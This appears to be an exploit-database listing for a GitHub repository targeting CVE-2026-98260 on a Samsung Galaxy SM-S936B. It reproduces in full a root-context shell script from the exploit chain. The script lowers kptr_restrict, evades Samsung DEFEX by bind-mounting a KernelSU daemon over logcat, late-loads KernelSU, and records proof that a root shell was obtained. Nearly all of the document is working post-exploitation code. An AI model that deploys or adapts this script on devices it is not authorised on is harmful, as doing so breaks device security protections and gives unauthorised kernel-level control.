Exploit databaseDownload repository ZIP
GH-a3a9174cfcc3e50a379e7911d15b5081
k-o-n-t-o-r/sm-s936b-cve-2026-98260
Sources for CVE-2026-98260
60 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
k-o-n-t-o-r/sm-s936b-cve-2026-98260Revision 198737ae4a0b
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
scripts/ksu-install.sh
Shell · 2,741 bytes#!/system/bin/sh
# Run only from the exploit's kernel-context usermode helper. Samsung DEFEX
# blocks executing ksud directly from /data/local/tmp, so use the same private
# bind-mount-over-logcat handoff as Root My Galaxy.
KSUD=/data/local/tmp/ksud-s25u-kdp
STAGE=/data/local/tmp/.ksud-stage
LOG=/data/local/tmp/ksu-install.log
PROOF=/data/local/tmp/root-proof.txt
WANT=fa3edcc7d168637394877b30cb1f909d762dda788ec14051f4ae79edd6562d63
EXPECTED_KERNEL=6.6.127-android15-8-p87b1ce1-abogkiS936BXXUDDZJB-4k
PATH=/product/bin:/apex/com.android.runtime/bin:/apex/com.android.art/bin:/system_ext/bin:/system/bin:/system/xbin:/vendor/bin:/vendor/xbin
HOME=/data/local/tmp
TMPDIR=/data/local/tmp
export PATH HOME TMPDIR
exec >"$LOG" 2>&1
fail()
{
echo "KSU_INSTALL_FAILED: $*"
exit 1
}
echo "start uid=$(/system/bin/id -u) ctx=$(/system/bin/cat /proc/self/attr/current 2>/dev/null)"
[ "$(/system/bin/id -u)" = 0 ] || fail "helper is not uid 0"
[ "$(/system/bin/uname -r)" = "$EXPECTED_KERNEL" ] ||
fail "unexpected kernel $(/system/bin/uname -r)"
[ -f "$KSUD" ] || fail "missing $KSUD"
GOT=$(/system/bin/sha256sum "$KSUD" 2>/dev/null)
GOT=${GOT%% *}
[ "$GOT" = "$WANT" ] || fail "ksud hash mismatch got=$GOT"
/system/bin/chmod 0755 "$KSUD" || fail "chmod ksud"
/system/bin/cp -f "$KSUD" "$STAGE" || fail "stage ksud"
/system/bin/chmod 0755 "$STAGE" || fail "chmod staged ksud"
# The exact target boots with kptr_restrict=2. The kallsyms-aware late loader
# needs the normal root-only view at 1. Reboot restores the stock value.
echo 1 >/proc/sys/kernel/kptr_restrict || fail "set kptr_restrict"
# Open the final proof before KernelSU restores enforcing policy. After module
# activation Samsung blocks this temporary u:r:kernel:s0 helper from executing
# fresh toybox applets, but shell builtins and this already-open FD remain
# usable. KERNELSU_LIVE is written last; the exploit parent then confirms it
# independently through KernelSU's control ioctl.
umask 022
exec 3>"$PROOF" || fail "open proof"
/system/bin/id >&3 || fail "record identity"
printf 'context=' >&3
/system/bin/cat /proc/self/attr/current >&3 2>/dev/null ||
fail "record context"
echo >&3
set +e
# The quoted body is intentionally expanded by the nested Android shell.
# shellcheck disable=SC2016
/system/bin/unshare -m /system/bin/sh -c '
/system/bin/mount --bind "$1" /system/bin/logcat || exit 11
/system/bin/logcat late-load --allow-shell \
--package-name me.weishu.kernelsu
' ksu-loader "$KSUD"
RC=$?
set -e
echo "KSU_LATELOAD_RC=$RC" >&3
if [ "$RC" -ne 0 ]; then
echo "KSU_INSTALL_FAILED: ksud late-load rc=$RC"
exec 3>&-
exit 1
fi
echo ROOT_SHELL_OK >&3
echo KERNELSU_LIVE >&3
exec 3>&-
echo "KSU_INSTALL_OK"
exit 0